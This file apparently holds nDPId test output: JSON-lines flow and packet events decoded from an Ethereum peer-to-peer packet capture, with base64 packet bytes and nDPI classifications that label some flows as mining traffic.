+01059{"flow_id":11,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":410,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":920350,"pkt_caplen":533,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":533,"pkt_l4_len":499,"pkt":"KDc3AG3IEBMx8Tl2CABFAAIHy99AACMGhm1oKtkZwKgBuHZf3SMhYrdh7BRoDYAYAfoG8gAAAQEICu7SsIoi2JUJAdEECf3\/gUaB196qa5SKbq61ayfaRe5YPi8bE8Z\/ruIusKnunXdyfMLWFFhxkiakm151gYheppOQ5HLhbk4iradZvSQB6VCqdwqs6JGGEKaSbZM3Iq79iKwwWiMAUxlmy6uoYLlsjCUWoBbR1crrDSvda72I74SsPY+FZJJSCwuTPYehunpr0iWeFd54jsoRHCEkLOWvlP1bWj\/1YdQT5oBMQYb58z3HoHcluozQ1LMUl9QwiD0rin9C7jneWOQLIX6pAUH2ZANTLnj9zWQfyjRQXu\/x6yxujquPe0jie3d3nIQ05+1PMEQwhTIcZWNfr+fzsA0dc54uUkPBRf9WWgHc8Tb23z7FvzW8hnnQnWKaC8VhQB0PKZtQMtoFmlPJo8WsiKfXWyw6XemOIP9as83AKzCms0jG2YgRhhr2FGHAWOrX\/1H8dkm2z+M6MXDod0rpfBNzviq0kGLLbhlmtuih9+X71QTPS9IEszBwHqPMz8qLqIf2XLyLWNy0L+IaZhjfRLVg1rEGsLODLQWnw4FYBhCXawM8AeJKjP6Ei1no4LRv9WTnY\/y2WulLwAKTb4B1ZGjpOdKco70HMG0C8rRdK2+WWwx7sn8XKbxVKJZ4pbU="} +00472{"flow_id":11,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":411,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":920375,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"KDc3AG3IEBMx8Tl2CABFAABUy+BAACMGiB9oKtkZwKgBuHZf3SMhYrk07BRoDYAYAfrC\/AAAAQEICu7SsIsi2JUJ6mDqKlOK0qjZ8Js5u+lMMkh6tR1OPY\/JYhy6CX7L5ec="} +00428{"flow_id":11,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":412,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":920438,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGNyDAqAG4aCrZGd0jdl\/sFGgNIWK5NIAQD\/qI6QAAAQEICiLYlcPu0rCK"} +00428{"flow_id":11,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":413,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":920440,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGNyDAqAG4aCrZGd0jdl\/sFGgNIWK5VIAQD\/mIyQAAAQEICiLYlcPu0rCL"} +00431{"flow_id":11,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":414,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":920467,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA1y+FAACMGiD1oKtkZwKgBuHZf3SMhYrlU7BRoDYAYAfqyeAAAAQEICu7SsIsi2JUJ5Q=="} +00429{"flow_id":11,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":415,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":920493,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGNyDAqAG4aCrZGd0jdl\/sFGgNIWK5VYAQD\/mIyAAAAQEICiLYlcPu0rCL"} +00431{"flow_id":11,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":416,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":920566,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA2y+JAACMGiDtoKtkZwKgBuHZf3SMhYrlV7BRoDYAYAfrKMQAAAQEICu7SsIsi2JUJzUU="} +00447{"flow_id":11,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":417,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":920578,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"KDc3AG3IEBMx8Tl2CABFAABBy+NAACMGiC9oKtkZwKgBuHZf3SMhYrlX7BRoDYAYAfofVgAAAQEICu7SsIsi2JUJridXwKMiLkho+m7GyQ=="} +00429{"flow_id":11,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":418,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":920595,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGNyDAqAG4aCrZGd0jdl\/sFGgNIWK5V4AQD\/6IwQAAAQEICiLYlcPu0rCL"} +00429{"flow_id":11,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":419,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":920604,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGNyDAqAG4aCrZGd0jdl\/sFGgNIWK5ZIAQD\/6ItAAAAQEICiLYlcPu0rCL"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":435,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1578508364922,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"35.233.197.131","src_port":56637,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":35,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":435,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":922060,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGjuvAqAG4I+nFg909dl+ptEcpAAAAALAC\/\/+OGAAAAgQFtAEDAwUBAQgKItiVxAAAAAAEAgAA"} +00711{"flow_id":12,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":436,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":924422,"pkt_caplen":274,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":274,"pkt_l4_len":240,"pkt":"KDc3AG3IEBMx8Tl2CABFAAEEjZhAADIGtLSi86BTwKgBuHZf3SW77RJe6nqwfYAYAOsoBgAAAQEICnVn1Q8i2JVXqB4IhOXyDkG7gf4wVue1YBFCV\/+yw6M8jA+kibTv3mtjlRHP9tP8c4lZMHx4Bnj7mMHTlL3Za4w7RRGZo8UUWGTgaOZ8JOqKt7XBLl7t5KWgTNCjGVv3RUP6yr0BVUHzhnpspLE08nXhRp8eeEgMQsae0889yLYtd+IUmq6Pe66E5ioWd5V9CkIGXfzLzJydx6Pqnbs79okijpwxi3jn33pSoE12UO5sqd1y+ayd3FqVRJPuM8YUW0R+3V2bORENbDuTDn4j9PpTkJU+JkYd9A=="} +00427{"flow_id":12,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":437,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":924434,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0jZlAADIGtYOi86BTwKgBuHZf3SW77RMu6nqxGoAQAOuvTAAAAQEICnVn1RAi2JVX"} +00428{"flow_id":12,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":438,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":924469,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGNR3AqAG4ovOgU90ldl\/qerEtu+0TLoAQEBufmwAAAQEICiLYlcZ1Z9UP"} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":445,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1578508364924,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"209.250.240.205","src_port":56638,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":445,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":924936,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGtY\/AqAG40frwzd0+dl+QvttrAAAAALAC\/\/85bQAAAgQFtAEDAwUBAQgKItiVxgAAAAAEAgAA"} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":447,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1578508364925,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"35.180.246.169","src_port":30303,"dst_port":30301,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":37,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":447,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":925232,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"EBMx8Tl2KDc3AG3ICABFAADHG4wAAEARgdzAqAG4I7T2qXZfdl0As6VnAUq3Z7jOf6Ug2frhkOredmKGawH96dNwPwCsVwwwAuHNRLachJG6Hj8pd5+\/iUKj3xzFalkHy\/4zo7e13\/nakEgcyoOcntMlISOmld4GtANNEoWSHW0IYrUbIiG7qvHSAQP4R7hAGwckxV38aoEQ3R3z6i1sbxgztMaJbhd8mlK6anhGQ6H0+w6JOUS\/FIH4b+eX+gcKRXXgkrfcf69BwK1A+Siq+4ReFiBg"} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":447,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1578508364925,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"35.180.246.169","src_port":30303,"dst_port":30301,"l4_proto":"udp","ndpi": {"proto":"Mining.Amazon","breed":"Acceptable","category":"Mining"}} +00426{"flow_id":27,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":450,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":930055,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0P7RAACgGl+woQ5CAwKgBuHZf3TZG9x3RfGwnQoAQAOutlAAAAQEICnIsxqEi2JVm"} +01003{"flow_id":27,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":451,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":931019,"pkt_caplen":489,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":489,"pkt_l4_len":455,"pkt":"KDc3AG3IEBMx8Tl2CABFAAHbP7VAACgGlkQoQ5CAwKgBuHZf3TZG9x3RfGwnQoAYAOtYugAAAQEICnIsxqIi2JVmAaUEJ+RTTNaKeJ49mHQgWlpVTQRI5VG48UZGnvDZ\/AXr1VILVQ9O1idwrzt6K2OMjJS9o1PVpWsNbIc8MH3IjByixnPI9KaVPx8mXNul5rqpONyNvE5D5QWT7QN6E6ROgZb3VBBaBChGxjDzgiqHf4VZq6+uTHnRLiTmJu\/tJBvVpuLS74tvdGNWf\/ih9Lb59or8oIye9cnRXq6QxNeqRegxacdxpmNvHnOsH1xYtvZd1gtIbMggtewyo1Dn1VrEUGaLZ8YIgei0fI80M4TI9+xxREWwNuy6j\/qfWcyHp\/IioJKoTY5PMyJ4KJhV4tkpllur+NCk6tolE+JLCfz3+kzwQONUkKz1790S6eJjaC9wtPHxoSqGiRezES8T+hj3cweRz44i07e\/5U6uMQTy\/OLpemir\/+Cx4TKBoObiU1Pv90jumuEPVRu+IkyCniPJGlxWCVp4cTWCCZ14UgcAQOxJs8PBSt9FMlUREzy6Wh9d+m6VtVXDspOi\/YN\/Wdg+ar21s9AW80kk5yvRk7Bz32Y5TzOnIe31AHyU8KXllbzRMJWOieG4"} +00471{"flow_id":27,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":452,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":931064,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"KDc3AG3IEBMx8Tl2CABFAABUP7ZAACgGl8ooQ5CAwKgBuHZf3TZG9x94fGwnQoAYAOt\/8QAAAQEICnIsxqIi2JVmT9YL9qHOr0+NjibtWyjL3KtIFwbnBG9OdvuZeHcpAyg="} +00427{"flow_id":27,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":453,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":931131,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGv6DAqAG4KEOQgN02dl98bCdCRvcfeIAQD\/ycdgAAAQEICiLYlctyLMai"} +00427{"flow_id":27,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":454,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":931133,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGv6DAqAG4KEOQgN02dl98bCdCRvcfmIAQD\/ucVgAAAQEICiLYlcxyLMai"} +00451{"flow_id":27,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":455,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":931161,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"KDc3AG3IEBMx8Tl2CABFAABEP7dAACgGl9koQ5CAwKgBuHZf3TZG9x+YfGwnQoAYAOv6ewAAAQEICnIsxqIi2JVmaQSSfAunAVdryRpVb4ezEw=="} +00451{"flow_id":27,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":456,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":931185,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"KDc3AG3IEBMx8Tl2CABFAABEP7hAACgGl9goQ5CAwKgBuHZf3TZG9x+ofGwnQoAZAOvZsQAAAQEICnIsxqMi2JVmJTEt4KPUwxg43ASaD+jKkw=="} +00428{"flow_id":27,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":457,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":931199,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGv6DAqAG4KEOQgN02dl98bCdCRvcfqIAQD\/6cQwAAAQEICiLYlcxyLMai"} +00428{"flow_id":27,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":458,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":931209,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGv6DAqAG4KEOQgN02dl98bCdCRvcfuYAQD\/6cMQAAAQEICiLYlcxyLMaj"} +00471{"flow_id":27,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":459,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":932102,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"EBMx8Tl2KDc3AG3ICABFAABUAABAAEAGv4DAqAG4KEOQgN02dl98bCdCRvcfuYAYEAAjWAAAAQEICiLYlcxyLMajT9Z19qHOr0+NjibtWyjL3MIap8B6zyRhJSkkobKTgNk="} +00432{"flow_id":27,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":460,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":932136,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA1AABAAEAGv5\/AqAG4KEOQgN02dl98bCdiRvcfuYAYEAC0BAAAAQEICiLYlc1yLMaj6A=="} +00438{"flow_id":33,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":464,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":932308,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADQGkHGfy1QfwKgBuHZf3TprW2X93LDPrKAScSCdQwAAAgQFrAQCCApPeKo9ItiVagEDAwc="} +00428{"flow_id":33,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":465,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":932360,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGhHnAqAG4n8tUH906dl\/csM+sa1tl\/oAQECwsmQAAAQEICiLYlc1PeKo9"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":472,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1578508364932,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"18.219.167.159","src_port":56639,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":38,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":472,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":932939,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGvd3AqAG4Etunn90\/dl9+5\/UeAAAAALAC\/\/851wAAAgQFtAEDAwUBAQgKItiVzQAAAAAEAgAA"} +01215{"flow_id":33,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":473,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":933835,"pkt_caplen":637,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":637,"pkt_l4_len":603,"pkt":"EBMx8Tl2KDc3AG3ICABFAAJvAABAAEAGgj7AqAG4n8tUH906dl\/csM+sa1tl\/oAYECyPNwAAAQEICiLYlc5PeKo9AjkEpygvnKchHo\/9hxvr5Qw+iboZdo3f3SG7EZvjwd7w\/2cK9Gmp6AB3QTgV0ZKNW3oRtB3OCMj3x8Ruf4hglrPOR8z4gDspichx80Fp3Ii29HmJSooT1ooAwg7QLR5ppOcGiZ0Jee4UwPmXpUCT\/zV+YSxP5MVCiOEH7pByreL9e7s\/NcDeXys4Mo2BRac\/Ej9PResGlgyJh+9FLsXYSx4qZZuwqVCSJSb2XvfEsdTUfWxG\/mlGpGgpf5whPWlAfSz7Oe20c\/f0EdzfgDI9NJpGEjPOBSos\/GuZ0hM9rufVviW2svr975inq+J81tRJ\/ITe1XewQv7g8Xh3dCaSK53YZfjTdmQ2lPtSUaUAWxaD6y7+1W9M79N28CR4hwLEamR83zpLpjhCprS98oS2yZdyQPypaWCSL5+Dc9PGnt860mDm3PmEP69QRVGEgjznQxs7cNWxBeOK2RmYlLOQN6jQA2jxoF\/oOCb3wnN1p\/QyoRd9SyLYwvhPzKpqx\/ZWP+rDLa4sxoTk+7shWb5NDLqplnmJeSxdK+pu7BT4hkAgCMiXUcfj11g2f1fEAf\/z0KfvHYTs3\/pLisnKePFZSFhM458MqwFxoShf1p5bn+un+y25Fcp4W5\/WlRb3XNf8hqwLrfEM7l5rzvGHXMjE7r9jYvWo\/\/uhbuPEvG4FWDxInlL42CndUL+cc9p0TJmh5wXFTY7uBRbaL2JUuah2gQ9\/kEYy1FwIdqoxyM5d3V9+KLYteT7hmCs\/\/g=="} +00561{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":473,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":4,"flow_first_seen":1578508364824,"flow_last_seen":1578508364933,"flow_tot_l4_data_len":719,"flow_min_l4_data_len":32,"flow_max_l4_data_len":603,"flow_avg_l4_data_len":179,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"159.203.84.31","src_port":56634,"dst_port":30303,"l4_proto":"tcp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +01836{"flow_id":37,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":486,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":954898,"pkt_caplen":1099,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1099,"pkt_l4_len":1065,"pkt":"KDc3AG3IEBMx8Tl2CABFAAQ91J1AACwRmVQjtPapwKgBuHZddl8EKaTIL6PiPVD76wxxux15bHRlnSs2av4nBFSV7v4bhHiIpeAMxLmbK8f6wiaJfQicCaKdl2RU3riNA4G85e32CrySn3+r4nugeiGUNmLmJTGwe70KAk\/1yl9pMbVr5iHiC9EbAQT5A7z5A7T4TYSnVnoygnZfgnZfuECQJNyxBglNPC+n9m4t\/W08TtywpdWYdWjkRxmhkajaDCz+gK\/mbTitDTyIYj\/DM6dFql13rAhhOsl+TepFcV7R+E2EVmvzPoJ2X4J2X7hAs1lDgaitKFA3cxLdFsLwt7VebQyms4a6o\/fivZtKo8AkJ6dL4w4Dn4+\/vC\/\/JsKeSIScYYBOpqnxxVMZ+XWFxvhNhIui\/9KCdl+Cdl+4QKesUvPGk3pcExPSpjjyYak+S\/zgRaKyCtkCAnADlTupsK\/kU6vbTyjVeYLvjRqhlLfuaobh1XsP1yYWbMEwCkP4TYROL5ObgnZfgnZfuEBjjxCUsfvwMHRxTE5YrP7+ISCuREmPbKrzjoabqIoNEUz\/YRnAV2w6k47DZjKIksCMD5bt88unhn0EsLYp\/SzX+E2EXkQ3ooJ2X4J2X7hAPuP3gMJbiMdT+jVwpl443XaSBNUfQ0qZUmbru+9L8er4h7zKFM+7c1K4WVxLv0mgiZa++5g5WXQyn8nQTgubb\/hNhIpLq76Cdl+Cdl+4QPw+TE9tCaxzvKUZLrSUydGaIDt2Km6jvC1h7Hg9CIqQESMae7r6mkOxEncigdCNSYhdj\/fphc\/puhfvJzVEsBH4TYQj6yXYgnZfgnZfuEC5nQSZ\/xzD17vSEoHg\/jtmGLuRaM3q97\/3Czva8FggRyrw44MHO8OtruMk8OoTJc88hHmdKvMBoeGC+K0eEhFi+E2Ep1ZKIYJ2XYJ2XbhAYZoPsgtYlBM737vFkYUTo\/9EphiWRNvy3F9PFQKE60Wg2vh7fDKeVFJ2s+C3+rlsvule\/8FMZch7lhCdhu+rUPhNhJ3mmFeCdl+Cdl+4QGQs+WUN2IadQlJdv2hYAS47TWT0deczhHq293QjQaQ5dBSGXZU4dOj17ZGw5OHFM97hStHWuydqVFmyRxRg\/w34TYQ050sDgsVJgsVJuEDzSXu93jNII3idYaebqM1QwrATGCoZMfOLWHKo8\/HNEvGmOW1TsZdycKJciiZgh6ud1sRz67L9tP+HeODfKFTV+E2EDfsOx4J2X4J2X7hAH7mV1eGOz5WoeIocWFwRYF7ZVBDRcdtaFFH5u23BFJ62FH1ch71cEmxc8OtYpiPqb2N3y6mQjsQPeWAgtQws9vhNhCPknjSCdl+Cdl+4QFeAPtyTjNbAmZsxJ+YSStMfUptpi+Ck9CtWlo\/Fnkmot5zzhg4wYebjEaqIDMNNKgYreTwT+o6X4euclIzcKBSEXhYgYA=="} 